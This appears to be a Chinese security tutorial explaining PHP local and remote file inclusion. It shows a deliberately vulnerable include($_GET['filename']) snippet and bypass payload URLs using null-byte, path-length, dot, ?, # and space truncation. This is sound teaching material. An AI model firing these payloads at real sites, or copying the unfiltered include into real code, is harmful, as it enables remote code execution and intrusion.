文件包含

定义

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

利用函数

php中提供四个文件包含的函数,分别是include(),include_once(),require()和require_once()。这四个都可以进行文件包含,但有区别

require:找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本

include:找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行

include_once:此语句和include类似,唯一区别就是如果该文件中的代码已经被包含,则不会再次包含

require_once:此语句和require类似,唯一区别就是如果该文件中的代码已经被包含。则不会再次包含 

本地文件包含

测试代码

<?php

    $filename  = $_GET['filename'];    

    include($filename);

?>

结果

本地文件包含绕过限制

%00截断

条件:magic_quotes_gpc = Off

          php版本<5.3.4

payload:http://localhost/test.php?filename=phpinfo.php%00

路径长度截断

条件:windows,点号需要长于256

          linux,长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。 

payload:http://localhost/test.php?filename=phpinfo.php/./././././././././././././././././././././././././././././././././././././././

点号截断

条件:windows OS,点号需要长于256

与路径长度截断类似,长度大于规定程度即可

 payload:http://localhost/test.php?filename=phpinfo.php................................................................................

远程文件包含

测试代码

<?php

    $filename  = $_GET['filename'];    

    include($filename);

?>

漏洞前提条件:allow_url_include需要开启,允许url include

远程文件包含绕过限制

主要是利用了url的解析

?号绕过

http://localhost/test.php?filename=http://localhost:8080/php.txt?

#号绕过

http://localhost/test.php?filename=http://localhost:8080/php.txt#

空格绕过

http://localhost/test.php?filename=http://localhost:8080/php.txt%20

上面例子url都是http协议的,还有其他伪协议也可以,

原文地址:https://www.cnblogs.com/alummox/p/11871038.html